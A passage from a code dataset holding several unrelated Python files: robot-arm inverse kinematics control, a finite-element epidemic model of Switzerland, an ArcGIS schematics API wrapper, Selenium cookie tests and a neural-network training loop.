0:\n goal = ik.objective(self.right_EE_link,R=target_transform[0],\\\n t = vectorops.sub(target_transform[1],so3.apply(target_transform[0],self.right_limb_state.toolCenter)))\n elif self.right_limb_state.cartesianMode == 1:\n goal = ik.objective(self.right_EE_link,local = [0,0,0], \\\n world = vectorops.sub(target_transform[1],so3.apply(target_transform[0],self.right_limb_state.toolCenter)))\n\n initialConfig = self.robot_model.getConfig()\n res = ik.solve_nearby(goal,maxDeviation=0.5,activeDofs = self.right_active_Dofs,tol=0.000001)\n failFlag = False\n if res:\n if self._arm_is_in_limit(self.robot_model.getConfig()[self.right_active_Dofs[0]:self.right_active_Dofs[5]+1],joint_upper_limits,joint_lower_limits):\n pass\n else:\n failFlag = True\n else:\n failFlag = True\n #print(\"motion.controlLoop():IK solution not found\")\n if failFlag:\n self.right_limb_state.driveSpeedAdjustment = self.right_limb_state.driveSpeedAdjustment - 0.1\n if self.right_limb_state.driveSpeedAdjustment < 0.001:\n self.right_limb_state.cartesianDrive = False\n logger.error('CartesianDrive IK has failed completely,exited..')\n print(\"motion.controlLoop():CartesianDrive IK has failed completely,exited..\")\n return 0,0 # 0 means the IK has failed completely\n else:\n #print(\"motion.controlLoop():CartesianDrive IK has failed, next trying: \",\\\n # self.right_limb_state.driveSpeedAdjustment)\n return 1,0 # 1 means the IK has failed partially and we should do this again\n else:\n target_config = self.robot_model.getConfig()[self.right_active_Dofs[0]:self.right_active_Dofs[5]+1]\n self.right_limb_state.driveTransform = target_transform\n if self.right_limb_state.driveSpeedAdjustment < 1:\n self.right_limb_state.driveSpeedAdjustment = self.right_limb_state.driveSpeedAdjustment + 0.1\n\n self.robot_model.setConfig(initialConfig)\n\n return 2,target_config #2 means success..\n\n def _get_klampt_q(self,left_limb = [],right_limb = []):\n if left_limb:\n return TRINAConfig.get_klampt_model_q(self.codename,left_limb = left_limb, right_limb = self.right_limb_state.sensedq)\n elif right_limb:\n return TRINAConfig.get_klampt_model_q(self.codename,left_limb = self.left_limb_state.sensedq, right_limb = right_limb)\nif __name__==\"__main__\":\n #########Check Collision Detection Speed ###############\n #robot = Motion(mode = 'Kinematic',components = ['left_limb'],codename = \"anthrax\")\n # computation_model_path = \"data/TRINA_world_anthrax.xml\"\n # world = WorldModel()\n # res = world.readFile(computation_model_path)\n # if not res:\n # logger.error('unable to load model')\n # raise RuntimeError(\"unable to load model\")\n # #Initialize collision detection\n # collider = collide.WorldCollider(world)\n # robot_model = world.robot(0)\n\n # startTime = time.time()\n # totalN = 100\n # for i in range(totalN):\n # robot_model.randomizeConfig()\n # collisions = collider.robotSelfCollisions(robot_model)\n # colCounter = 0\n # for col in collisions:\n # colCounter = colCounter + 1\n # #if colCounter > 0:\n # #print(i,\"collision\")\n # #else:\n # #print(i)\n # print(\"average time:\", (time.time() - startTime)/float(totalN))\n ##################################\n # robot = Motion(mode = 'Kinematic',components = ['left_limb'],codename = \"anthrax\")\n # robot.startup()\n # time.sleep(0.2)\n # left_limb_q = robot.sensedLeftLimbPosition()\n # left_limb_q[2] =left_limb_q[2] + 0.01\n # robot.setLeftLimbPosition(left_limb_q)\n # time.sleep(1.2)\n # robot.shutdown()\n\n\n #################################\n robot = Motion(mode = 'Kinematic',components = ['left_limb'],codename = \"anthrax\")\n robot.startup()\n # logger.info('Robot start() called')\n # print('Robot start() called')\n time.sleep(0.2)\n leftTuckedConfig = [0.7934980392456055, -2.541288038293356, -2.7833543555, 4.664876623744629, -0.049166981373, 0.09736919403076172]\n leftUntuckedConfig = [-0.2028,-2.1063,-1.610,3.7165,-0.9622,0.0974] #motionAPI format\n rightTuckedConfig = robot.mirror_arm_config(leftTuckedConfig)\n rightUntuckedConfig = robot.mirror_arm_config(leftUntuckedConfig)\n world = robot.getWorld()\n vis.add(\"world\",world)\n vis.show()\n #move to untucked position\n robot.setLeftLimbPositionLinear(leftUntuckedConfig,5)\n robot.setRightLimbPositionLinear(rightUntuckedConfig,5)\n #robot.setLeftLimbPosition(leftUntuckedConfig)\n #robot.setRightLimbPosition(rightUntuckedConfig)\n startTime = time.time()\n \n while (time.time()-startTime < 5):\n vis.lock()\n #robot.setBaseVelocity([0.5,0.1])\n vis.unlock()\n time.sleep(0.02)\n\n robot.setRightEEVelocity([0.05,0,0,0,0.1,0])\n robot.setLeftEEVelocity([0.05,0,0,0,0.1,0])\n startTime = time.time()\n while (time.time()-startTime < 10):\n vis.lock()\n #robot.setBaseVelocity([0.5,0.1])\n vis.unlock()\n time.sleep(0.02)\n robot.shutdown()\n # print(time.time()-startTime)\n # robot.setBaseVelocity([0,0])\n # robot.setGripperPosition([1,1,1,0])\n # startTime = time.time()\n # world = robot.getWorld()\n # vis.add(\"world\",world)\n # vis.show()\n # while (time.time()-startTime < 5):\n # vis.lock()\n # #robot.setBaseVelocity([0.5,0.1])\n # vis.unlock()\n # time.sleep(0.02)\n #\n # # print(time.time()-startTime)\n # # robot.setBaseVelocity([0,0])\n # # robot.setGripperPosition([1,1,1,0])\n # # startTime = time.time()\n # # while (time.time()-startTime < 5):\n # # vis.lock()\n # # #robot.setBaseVelocity([0.5,0.1])\n # # vis.unlock()\n # # time.sleep(0.02)\n # ##cartesian drive...\n # startTime = time.time()\n # # [0.0,-0.05,0],[0,0,0]\n # robot.setLeftEEInertialTransform([[-0.06720643425243836, -0.7527169832325281, -0.6549047716766548, 0.9749095012575034, -0.18912346734793367, 0.11732283620745665, -0.2121687525365566, -0.6305869228358743, 0.7465423645978749],[0.5536765011424929, 0.10578081079393827, 0.5977151817981915]],3)\n # while (time.time()-startTime < 5):\n # vis.lock()\n # #robot.setBaseVelocity([0.5,0.1])\n # vis.unlock()\n # time.sleep(0.02)\n # try:\n # robot.getKlamptSensedPosition()\n # except:\n # print(\"except\")\n # if robot.cartesianDriveFail():\n # break\n # print(time.time()-startTime)\n #\n # vis.kill()\n\n # robot.shutdown()\n","sub_path":"Motion/motion.py","file_name":"motion.py","file_ext":"py","file_size_in_byte":83621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"613748097","text":"#!/usr/bin/env python3\nimport os\nimport sys\nfrom fenics import *\nfrom dolfin import *\nimport numpy as np\n\nsampleBeta = {}\nsampleSigma = {}\nInfectedDays = {}\nInfectedDetailed = {}\n\n\ndef model(s):\n beta_param = s[\"Parameters\"][0]\n sig = s[\"Parameters\"][1]\n sampleId = s[\"Sample Id\"]\n dev = []\n result = []\n result_detailed = []\n\n # define all needed parameters\n T = 9.0 # final time in days\n deltat = 1.0 / 10.0\n dt = Constant(deltat) # time step size at beginning\n theta_factor = Constant(1.1) # factor to represent the underreporting of movement\n beta_factor = Constant(beta_param) # infection rate\n oneoverd = Constant(1.0 / 5.0) # one over average duration of infection\n oneoverz = Constant(1.0 / 5.0) # one over average latency period\n\n theta = Constant(0.5) # theta = 0.5 means Crank-Nicolson\n t = 0.0 # global time\n area_switzerland = 41285000000.0 # area of Switzerland in square meter\n bev = 8570000.0\n\n\n # get mesh from file in folder mesh\n mesh = Mesh('mesh/mesh2d.xml.gz')\n\n # get data on commuters between cantons and write to array\n array_alpha = np.genfromtxt('shapefiles/alpha.txt')\n array_beta = np.genfromtxt('shapefiles/beta.txt')\n\n # define function space for system\n P1 = FiniteElement('P', triangle, 1)\n element = MixedElement([P1, P1, P1])\n V = FunctionSpace(mesh, element)\n W = FunctionSpace(mesh, P1)\n\n # define test functions\n v_1, v_2, v_3 = TestFunctions(V)\n\n # define used functions\n SEI_low = Function(V)\n SEI_n = Function(V)\n d = Function(V)\n source_s_n = Function(W)\n source_e_n = Function(W)\n source_i_n = Function(W)\n\n # setting Initial Conditions\n SEI_0 = Expression(('1.0',\n '0.0',\n '0.0084856 * exp(-0.00000039*(pow(x[0]-720000.0,2)+pow(x[1]-130000.0,2)))'),\n degree=2)\n SEI_n = project(SEI_0, V)\n\n # Diffusion, inverse population density and beta from files\n f1 = Function(W)\n f_in = XDMFFile(\"difffun/diff.xdmf\")\n f_in.read_checkpoint(f1, \"g\", 0)\n f1.set_allow_extrapolation(True)\n d_0 = Expression(('function',\n 'function',\n 'function'),\n function=f1, degree=2)\n d = project(d_0, V)\n\n f2 = Function(W)\n f_in = XDMFFile(\"difffun/rhoinv.xdmf\")\n f_in.read_checkpoint(f2, \"g\", 0)\n f2.set_allow_extrapolation(True)\n rhoinv_0 = Expression(('function',\n 'function',\n 'function'),\n function=f2, degree=2)\n rhoinv = project(rhoinv_0, V)\n\n f3 = Function(W)\n f_in = XDMFFile(\"difffun/beta.xdmf\")\n f_in.read_checkpoint(f3, \"g\", 0)\n f3.set_allow_extrapolation(True)\n beta = project(beta_factor * f3, W)\n\n # check diffusion, 1/rho and beta and plot S, E, I for t=0 and safe as images\n _S_0, _E_0, _I_0 = SEI_n.split()\n\n result.append(assemble(_I_0 * dx) * bev/ area_switzerland)\n result_detailed.append(assemble(_I_0 * dx) * bev/ area_switzerland)\n\n # split system functions to access components\n S_low, E_low, I_low = split(SEI_low)\n S_n, E_n, I_n = split(SEI_n)\n d_s, d_e, d_i = split(d)\n rhoinv_s, rhoinv_e, rhoinv_i = split(rhoinv)\n\n # get functions and areas to represent cantons\n cantonfun = [0.0]\n if 1 == 1:\n c1 = Function(W)\n f_in = XDMFFile(\"cantfun/01.xdmf\")\n f_in.read_checkpoint(c1, \"g\", 0)\n c1.set_allow_extrapolation(True)\n\n c2 = Function(W)\n f_in = XDMFFile(\"cantfun/02.xdmf\")\n f_in.read_checkpoint(c2, \"g\", 0)\n c2.set_allow_extrapolation(True)\n\n c3 = Function(W)\n f_in = XDMFFile(\"cantfun/03.xdmf\")\n f_in.read_checkpoint(c3, \"g\", 0)\n c3.set_allow_extrapolation(True)\n\n c4 = Function(W)\n f_in = XDMFFile(\"cantfun/04.xdmf\")\n f_in.read_checkpoint(c4, \"g\", 0)\n c4.set_allow_extrapolation(True)\n\n c5 = Function(W)\n f_in = XDMFFile(\"cantfun/05.xdmf\")\n f_in.read_checkpoint(c5, \"g\", 0)\n c5.set_allow_extrapolation(True)\n\n c6 = Function(W)\n f_in = XDMFFile(\"cantfun/06.xdmf\")\n f_in.read_checkpoint(c6, \"g\", 0)\n c6.set_allow_extrapolation(True)\n\n c7 = Function(W)\n f_in = XDMFFile(\"cantfun/07.xdmf\")\n f_in.read_checkpoint(c7, \"g\", 0)\n c7.set_allow_extrapolation(True)\n\n c8 = Function(W)\n f_in = XDMFFile(\"cantfun/08.xdmf\")\n f_in.read_checkpoint(c8, \"g\", 0)\n c8.set_allow_extrapolation(True)\n\n c9 = Function(W)\n f_in = XDMFFile(\"cantfun/09.xdmf\")\n f_in.read_checkpoint(c9, \"g\", 0)\n c9.set_allow_extrapolation(True)\n\n c10 = Function(W)\n f_in = XDMFFile(\"cantfun/10.xdmf\")\n f_in.read_checkpoint(c10, \"g\", 0)\n c10.set_allow_extrapolation(True)\n\n c11 = Function(W)\n f_in = XDMFFile(\"cantfun/11.xdmf\")\n f_in.read_checkpoint(c11, \"g\", 0)\n c11.set_allow_extrapolation(True)\n\n c12 = Function(W)\n f_in = XDMFFile(\"cantfun/12.xdmf\")\n f_in.read_checkpoint(c12, \"g\", 0)\n c12.set_allow_extrapolation(True)\n\n c13 = Function(W)\n f_in = XDMFFile(\"cantfun/13.xdmf\")\n f_in.read_checkpoint(c13, \"g\", 0)\n c13.set_allow_extrapolation(True)\n\n c14 = Function(W)\n f_in = XDMFFile(\"cantfun/14.xdmf\")\n f_in.read_checkpoint(c14, \"g\", 0)\n c14.set_allow_extrapolation(True)\n\n c15 = Function(W)\n f_in = XDMFFile(\"cantfun/15.xdmf\")\n f_in.read_checkpoint(c15, \"g\", 0)\n c15.set_allow_extrapolation(True)\n\n c16 = Function(W)\n f_in = XDMFFile(\"cantfun/16.xdmf\")\n f_in.read_checkpoint(c16, \"g\", 0)\n c16.set_allow_extrapolation(True)\n\n c17 = Function(W)\n f_in = XDMFFile(\"cantfun/17.xdmf\")\n f_in.read_checkpoint(c17, \"g\", 0)\n c17.set_allow_extrapolation(True)\n\n c18 = Function(W)\n f_in = XDMFFile(\"cantfun/18.xdmf\")\n f_in.read_checkpoint(c18, \"g\", 0)\n c18.set_allow_extrapolation(True)\n\n c19 = Function(W)\n f_in = XDMFFile(\"cantfun/19.xdmf\")\n f_in.read_checkpoint(c19, \"g\", 0)\n c19.set_allow_extrapolation(True)\n\n c20 = Function(W)\n f_in = XDMFFile(\"cantfun/20.xdmf\")\n f_in.read_checkpoint(c20, \"g\", 0)\n c20.set_allow_extrapolation(True)\n\n c21 = Function(W)\n f_in = XDMFFile(\"cantfun/21.xdmf\")\n f_in.read_checkpoint(c21, \"g\", 0)\n c21.set_allow_extrapolation(True)\n\n c22 = Function(W)\n f_in = XDMFFile(\"cantfun/22.xdmf\")\n f_in.read_checkpoint(c22, \"g\", 0)\n c22.set_allow_extrapolation(True)\n\n c23 = Function(W)\n f_in = XDMFFile(\"cantfun/23.xdmf\")\n f_in.read_checkpoint(c23, \"g\", 0)\n c23.set_allow_extrapolation(True)\n\n c24 = Function(W)\n f_in = XDMFFile(\"cantfun/24.xdmf\")\n f_in.read_checkpoint(c24, \"g\", 0)\n c24.set_allow_extrapolation(True)\n\n c25 = Function(W)\n f_in = XDMFFile(\"cantfun/25.xdmf\")\n f_in.read_checkpoint(c25, \"g\", 0)\n c25.set_allow_extrapolation(True)\n\n c26 = Function(W)\n f_in = XDMFFile(\"cantfun/26.xdmf\")\n f_in.read_checkpoint(c26, \"g\", 0)\n c26.set_allow_extrapolation(True)\n\n cantonfun.append(c1)\n cantonfun.append(c2)\n cantonfun.append(c3)\n cantonfun.append(c4)\n cantonfun.append(c5)\n cantonfun.append(c6)\n cantonfun.append(c7)\n cantonfun.append(c8)\n cantonfun.append(c9)\n cantonfun.append(c10)\n cantonfun.append(c11)\n cantonfun.append(c12)\n cantonfun.append(c13)\n cantonfun.append(c14)\n cantonfun.append(c15)\n cantonfun.append(c16)\n cantonfun.append(c17)\n cantonfun.append(c18)\n cantonfun.append(c19)\n cantonfun.append(c20)\n cantonfun.append(c21)\n cantonfun.append(c22)\n cantonfun.append(c23)\n cantonfun.append(c24)\n cantonfun.append(c25)\n cantonfun.append(c26)\n\n # Define source term for long connections\n source_s_0 = Expression('0.0', degree=2)\n source_e_0 = Expression('0.0', degree=2)\n source_i_0 = Expression('0.0', degree=2)\n\n # time stepping\n n = 0\n while t < T:\n # compute number of susceptible, exposed and infected in every canton in advance and save as array\n array_S_n = [0.0]\n array_E_n = [0.0]\n array_I_n = [0.0]\n\n array_factor_S_n = [0.0]\n array_factor_E_n = [0.0]\n array_factor_I_n = [0.0]\n\n k = 1\n while k < 27:\n array_S_n.append(Constant(assemble(S_n * cantonfun[k] * dx)))\n array_E_n.append(Constant(assemble(E_n * cantonfun[k] * dx)))\n array_I_n.append(Constant(assemble(I_n * cantonfun[k] * dx)))\n k += 1\n\n # calculate source terms for current time\n print(\"initializing sources now ...\")\n ID_KT_i = 1\n while ID_KT_i < 27:\n ID_KT_j = 1\n factor_s_n = 0.0\n factor_e_n = 0.0\n factor_i_n = 0.0\n while ID_KT_j < 27:\n index = (ID_KT_i - 1) * 26 + ID_KT_j - 1\n factor_s_n += array_alpha[index] * array_S_n[ID_KT_j] - array_beta[index] * array_S_n[ID_KT_i]\n factor_e_n += array_alpha[index] * array_E_n[ID_KT_j] - array_beta[index] * array_E_n[ID_KT_i]\n factor_i_n += array_alpha[index] * array_I_n[ID_KT_j] - array_beta[index] * array_I_n[ID_KT_i]\n\n ID_KT_j += 1\n array_factor_S_n.append(factor_s_n)\n array_factor_E_n.append(factor_e_n)\n array_factor_I_n.append(factor_i_n)\n\n ID_KT_i += 1\n\n coeff_s = array_factor_S_n\n coeff_e = array_factor_E_n\n coeff_i = array_factor_I_n\n source_s_n = project(source_s_0 + coeff_s[1] * c1 + coeff_s[2] * c2 + \\\n coeff_s[3] * c3 + coeff_s[4] * c4 + coeff_s[5] * c5 + \\\n coeff_s[6] * c6 + coeff_s[7] * c7 + coeff_s[8] * c8 + \\\n coeff_s[9] * c9 + coeff_s[10] * c10 + coeff_s[11] * c11 + \\\n coeff_s[12] * c12 + coeff_s[13] * c13 + coeff_s[14] * c14 + \\\n coeff_s[15] * c15 + coeff_s[16] * c16 + coeff_s[17] * c17 + \\\n coeff_s[18] * c18 + coeff_s[19] * c19 + coeff_s[20] * c20 + \\\n coeff_s[21] * c21 + coeff_s[22] * c22 + coeff_s[23] * c23 + \\\n coeff_s[24] * c24 + coeff_s[25] * c25 + coeff_s[26] * c26)\n\n source_e_n = project(source_e_0 + coeff_e[1] * c1 + coeff_e[2] * c2 + \\\n coeff_e[3] * c3 + coeff_e[4] * c4 + coeff_e[5] * c5 + \\\n coeff_e[6] * c6 + coeff_e[7] * c7 + coeff_e[8] * c8 + \\\n coeff_e[9] * c9 + coeff_e[10] * c10 + coeff_e[11] * c11 + \\\n coeff_e[12] * c12 + coeff_e[13] * c13 + coeff_e[14] * c14 + \\\n coeff_e[15] * c15 + coeff_e[16] * c16 + coeff_e[17] * c17 + \\\n coeff_e[18] * c18 + coeff_e[19] * c19 + coeff_e[20] * c20 + \\\n coeff_e[21] * c21 + coeff_e[22] * c22 + coeff_e[23] * c23 + \\\n coeff_e[24] * c24 + coeff_e[25] * c25 + coeff_e[26] * c26)\n\n source_i_n = project(source_i_0 + coeff_i[1] * c1 + coeff_i[2] * c2 + \\\n coeff_i[3] * c3 + coeff_i[4] * c4 + coeff_i[5] * c5 + \\\n coeff_i[6] * c6 + coeff_i[7] * c7 + coeff_i[8] * c8 + \\\n coeff_i[9] * c9 + coeff_i[10] * c10 + coeff_i[11] * c11 + \\\n coeff_i[12] * c12 + coeff_i[13] * c13 + coeff_i[14] * c14 + \\\n coeff_i[15] * c15 + coeff_i[16] * c16 + coeff_i[17] * c17 + \\\n coeff_i[18] * c18 + coeff_i[19] * c19 + coeff_i[20] * c20 + \\\n coeff_i[21] * c21 + coeff_i[22] * c22 + coeff_i[23] * c23 + \\\n coeff_i[24] * c24 + coeff_i[25] * c25 + coeff_i[26] * c26)\n\n print(\"source_n done ...\")\n\n # Define variational problem for SEI_low\n F = S_low * v_1 * dx - S_n * v_1 * dx - theta * dt * (-beta * S_low * I_low * v_1 * dx + \\\n theta_factor * (- rhoinv_s * d_s * dot(grad(S_low), grad(v_1)) * dx + rhoinv_s * source_s_n * v_1 * dx)) - \\\n (1.0 - theta) * dt * (-beta * S_n * I_n * v_1 * dx + theta_factor * (- rhoinv_s * d_s * dot(grad(S_n), grad(v_1)) * dx + rhoinv_s * source_s_n * v_1 * dx)) + \\\n E_low * v_2 * dx - E_n * v_2 * dx - theta * dt * (beta * S_low * I_low * v_2 * dx - oneoverz * E_low * v_2 * dx + \\\n theta_factor * (- rhoinv_e * d_e * dot(grad(E_low), grad(v_2)) * dx + rhoinv_e * source_e_n * v_2 * dx)) - \\\n (1.0 - theta) * dt * (beta * S_n * I_n * v_2 * dx - oneoverz * E_n * v_2 * dx + \\\n theta_factor * (- rhoinv_e * d_e * dot(grad(E_n), grad(v_2)) * dx + rhoinv_e * source_e_n * v_2 * dx)) + \\\n I_low * v_3 * dx - I_n * v_3 * dx - theta * dt * (oneoverz * E_low * v_3 * dx - oneoverd * I_low * v_3 * dx + \\\n theta_factor * (- rhoinv_i * d_i * dot(grad(I_low), grad(v_3)) * dx + rhoinv_i * source_i_n * v_3 * dx)) - \\\n (1.0 - theta) * dt * (oneoverz * E_n * v_3 * dx - oneoverd * I_n * v_3 * dx + \\\n theta_factor * (- rhoinv_i * d_i * dot(grad(I_n), grad(v_3)) * dx + rhoinv_i * source_i_n * v_3 * dx))\n\n Jac = derivative(F, SEI_low, TrialFunction(V))\n\n # solve variational problem for SEI_low\n solve(F == 0, SEI_low, J=Jac)\n\n n += 1\n t += deltat\n print(\"This is iteration number: \", n)\n print(\"And the time is: \", t)\n\n # if error small enough or minimum timestep reached, update and go to the next timestep\n _S, _E, _I = SEI_low.split()\n if n % 10 == 0:\n result.append(assemble(_I * dx) * bev / area_switzerland)\n result_detailed.append(assemble(_I * dx) * bev / area_switzerland)\n\n\n SEI_n.assign(SEI_low)\n\n for x in result:\n dev.append(sig)\n\n sampleBeta[sampleId] = beta_param\n sampleSigma[sampleId] = sig\n InfectedDays[sampleId] = result\n InfectedDetailed[sampleId] = result_detailed\n\n s[\"Beta\"] = beta_param\n s[\"Sigma\"] = sig\n s[\"InfectedPerDay\"] = result\n s[\"InfectedDetailed\"] = result_detailed\n","sub_path":"propagation/_model/work.py","file_name":"work.py","file_ext":"py","file_size_in_byte":14825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"462458041","text":"\"\"\"\r\nSchematics are simplified representations of networks, intended to explain their structure and make the way they operate\r\nunderstandable. The arcgis.schematics module contains the types and functions for working with schematic layers and\r\ndatasets.\r\n\r\n\"\"\"\r\n\r\nfrom arcgis.gis import Layer\r\n\r\n\"\"\"This class provides access to diagrams and schematic layers, as well as diagram templates.\"\"\"\r\nclass SchematicLayers(Layer):\r\n def __init__(self, url, gis=None):\r\n super(SchematicLayers, self).__init__(url, gis)\r\n try:\r\n from arcgis.gis.server._service._adminfactory import AdminServiceGen\r\n self.service = AdminServiceGen(service=self, gis=gis)\r\n except: pass\r\n\r\n @property\r\n def diagrams(self):\r\n \"\"\"\r\n The Schematic Diagrams resource represents all the schematic diagrams\r\n under a schematic service. It is returned as an array of Schematic\r\n Diagram resource by the REST API.\r\n \"\"\"\r\n params = {\"f\" : \"json\"}\r\n exportURL = self._url + \"/diagrams\"\r\n return self._con.get(path=exportURL,\r\n params=params, token=self._token)\r\n #----------------------------------------------------------------------\r\n @property\r\n def folders(self):\r\n \"\"\"\r\n The Schematic Folders resource represents the set of schematic folders\r\n in the schematic dataset(s) related to the schematic layers under a\r\n schematic service. It is returned as an array of \r\n by the REST API.\r\n \"\"\"\r\n params = {\"f\" : \"json\"}\r\n exportURL = self._url + \"/folders\"\r\n return self._con.get(path=exportURL,\r\n params=params, token=self._token)\r\n #----------------------------------------------------------------------\r\n @property\r\n def layers(self):\r\n \"\"\"\r\n The Schematic Layers resource represents all the schematic layers\r\n under a schematic service published by ArcGIS Server. It is returned\r\n as an array of Schematic Layer resources by the REST API.\r\n \"\"\"\r\n params = {\"f\" : \"json\"}\r\n exportURL = self._url + \"/schematicLayers\"\r\n return self._con.get(path=exportURL,\r\n params=params, token=self._token)\r\n #----------------------------------------------------------------------\r\n @property\r\n def templates(self):\r\n \"\"\"\r\n The Schematic Diagram Templates represents all the schematic diagram\r\n templates related to the published schematic layers under a schematic\r\n service. It is returned as an array of Schematic Diagram Template\r\n resources by the REST API.\r\n \"\"\"\r\n params = {\"f\" : \"json\"}\r\n exportURL = self._url + \"/templates\"\r\n return self._con.get(path=exportURL,\r\n params=params, token=self._token)\r\n #----------------------------------------------------------------------\r\n def search_diagrams(self,whereClause=None,relatedObjects=None,\r\n relatedSchematicObjects=None):\r\n \"\"\"\r\n The Schematic Search Diagrams operation is performed on the schematic\r\n service resource. The result of this operation is an array of Schematic\r\n Diagram Information Object.\r\n\r\n It is used to search diagrams in the schematic service by criteria;\r\n that is, diagrams filtered out via a where clause on any schematic\r\n diagram class table field, diagrams that contain schematic features\r\n associated with a specific set of GIS features/objects, or diagrams\r\n that contain schematic features associated with the same GIS features/\r\n objects related to another set of schematic features.\r\n\r\n Inputs:\r\n whereClause - A where clause for the query filter. Any legal SQL\r\n where clause operating on the fields in the schematic\r\n diagram class table is allowed. See the Schematic\r\n diagram class table fields section below to know the\r\n exact list of field names that can be used in this\r\n where clause.\r\n relatedObjects - An array containing the list of the GIS features/\r\n objects IDs per feature class/table name that are in\r\n relation with schematic features in the resulting\r\n queried diagrams. Each GIS feature/object ID\r\n corresponds to a value of the OBJECTID field in the\r\n GIS feature class/table.\r\n relatedSchematicObjects - An array containing the list of the\r\n schematic feature names per schematic\r\n feature class ID that have the same\r\n associated GIS features/objects with\r\n schematic features in the resulting\r\n queried diagrams. Each schematic feature\r\n name corresponds to a value of the\r\n SCHEMATICTID field in the schematic\r\n feature class.\r\n \"\"\"\r\n params = {\"f\" : \"json\"}\r\n if whereClause:\r\n params[\"where\"] = whereClause\r\n if relatedObjects:\r\n params[\"relatedObjects\"] = relatedObjects\r\n if relatedSchematicObjects:\r\n params[\"relatedSchematicObjects\"] = relatedSchematicObjects\r\n\r\n exportURL = self._url + \"/searchDiagrams\"\r\n return self._con.get(path=exportURL,\r\n params=params, token=self._token)","sub_path":"arcpyenv/arcgispro-py3-clone/Lib/site-packages/arcgis/schematics/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"442775961","text":"#!/usr/bin/python\n#\n# Licensed to the Software Freedom Conservancy (SFC) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The SFC licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\nimport calendar\nimport time\nimport unittest\nimport random\nimport pytest\nfrom selenium.test.selenium.webdriver.common import utils\n\n\nclass CookieTest(unittest.TestCase):\n\n def setUp(self):\n self._loadPage(\"simpleTest\")\n # Set the cookie to expire in 30 minutes\n timestamp = calendar.timegm(time.gmtime()) + (30 * 60)\n self.COOKIE_A = {\"name\": \"foo\",\n \"value\": \"bar\",\n \"path\": \"/\",\n \"secure\": False}\n\n def tearDown(self):\n self.driver.delete_all_cookies()\n\n def testAddCookie(self):\n self.driver.execute_script(\"return document.cookie\")\n self.driver.add_cookie(self.COOKIE_A)\n cookie_returned = str(self.driver.execute_script(\"return document.cookie\"))\n self.assertTrue(self.COOKIE_A[\"name\"] in cookie_returned)\n\n def testAddingACookieThatExpiredInThePast(self):\n if self.driver.name == 'internet explorer':\n pytest.skip(\"Issue needs investigating\")\n cookie = self.COOKIE_A.copy()\n cookie[\"expiry\"] = calendar.timegm(time.gmtime()) - 1\n self.driver.add_cookie(cookie)\n cookies = self.driver.get_cookies()\n self.assertEquals(0, len(cookies))\n \n\n def testDeleteAllCookie(self):\n self.driver.add_cookie(utils.convert_cookie_to_json(self.COOKIE_A))\n self.driver.delete_all_cookies()\n self.assertFalse(self.driver.get_cookies())\n\n def testDeleteCookie(self):\n self.driver.add_cookie(utils.convert_cookie_to_json(self.COOKIE_A))\n self.driver.delete_cookie(\"foo\")\n self.assertFalse(self.driver.get_cookies())\n\n def testShouldGetCookieByName(self): \n key = \"key_%d\" % int(random.random()*10000000)\n self.driver.execute_script(\"document.cookie = arguments[0] + '=set';\", key)\n\n cookie = self.driver.get_cookie(key)\n self.assertEquals(\"set\", cookie[\"value\"])\n\n def testGetAllCookies(self):\n key1 = \"key_%d\" % int(random.random()*10000000)\n key2 = \"key_%d\" % int(random.random()*10000000)\n \n cookies = self.driver.get_cookies()\n count = len(cookies)\n \n one = {\"name\" :key1,\n \"value\": \"value\"}\n two = {\"name\":key2,\n \"value\": \"value\"}\n \n self.driver.add_cookie(one)\n self.driver.add_cookie(two)\n \n self._loadPage(\"simpleTest\")\n cookies = self.driver.get_cookies()\n self.assertEquals(count + 2, len(cookies))\n \n def testShouldNotDeleteCookiesWithASimilarName(self):\n cookieOneName = \"fish\"\n cookie1 = {\"name\" :cookieOneName,\n \"value\":\"cod\"}\n cookie2 = {\"name\" :cookieOneName + \"x\",\n \"value\": \"earth\"}\n self.driver.add_cookie(cookie1)\n self.driver.add_cookie(cookie2)\n\n self.driver.delete_cookie(cookieOneName)\n cookies = self.driver.get_cookies()\n\n self.assertFalse(cookie1[\"name\"] == cookies[0][\"name\"], msg=str(cookies))\n self.assertEquals(cookie2[\"name\"] , cookies[0][\"name\"], msg=str(cookies))\n \n\n def _loadPage(self, name):\n self.driver.get(self._pageURL(name))\n\n def _pageURL(self, name):\n return self.webserver.where_is(name + '.html')\n","sub_path":"py/test/selenium/webdriver/common/cookie_tests.py","file_name":"cookie_tests.py","file_ext":"py","file_size_in_byte":4070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"634787460","text":"import math\nfrom functools import partial\n\nfrom dpipe.dl.model_controller import ModelController\nfrom dpipe.utils.batch_iter_factory import BatchIterFactory\nfrom .utils import make_find_next_lr, make_check_loss_decrease\n\n\ndef train_with_lr_decrease(\n model_controller: ModelController,\n train_batch_iter_factory: BatchIterFactory,\n val_ids, load_x, load_y, *, n_epochs, lr_init, lr_dec_mul=0.5,\n patience: int, rtol=0, atol=0):\n x_val = [load_x(p) for p in val_ids]\n y_val = [load_y(p) for p in val_ids]\n\n find_next_lr = make_find_next_lr(\n lr_init, lambda lr: lr * lr_dec_mul,\n partial(make_check_loss_decrease, patience=patience,\n rtol=rtol, atol=atol))\n\n lr = find_next_lr(math.inf)\n with train_batch_iter_factory:\n for _ in range(n_epochs):\n with next(train_batch_iter_factory) as train_batch_iter:\n train_loss = model_controller.train(train_batch_iter, lr=lr)\n y_pred, val_loss = model_controller.validate(x_val, y_val)\n lr = find_next_lr(train_loss)\n","sub_path":"dpipe/train/train_with_lr_decrease.py","file_name":"train_with_lr_decrease.py","file_ext":"py","file_size_in_byte":1083,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} 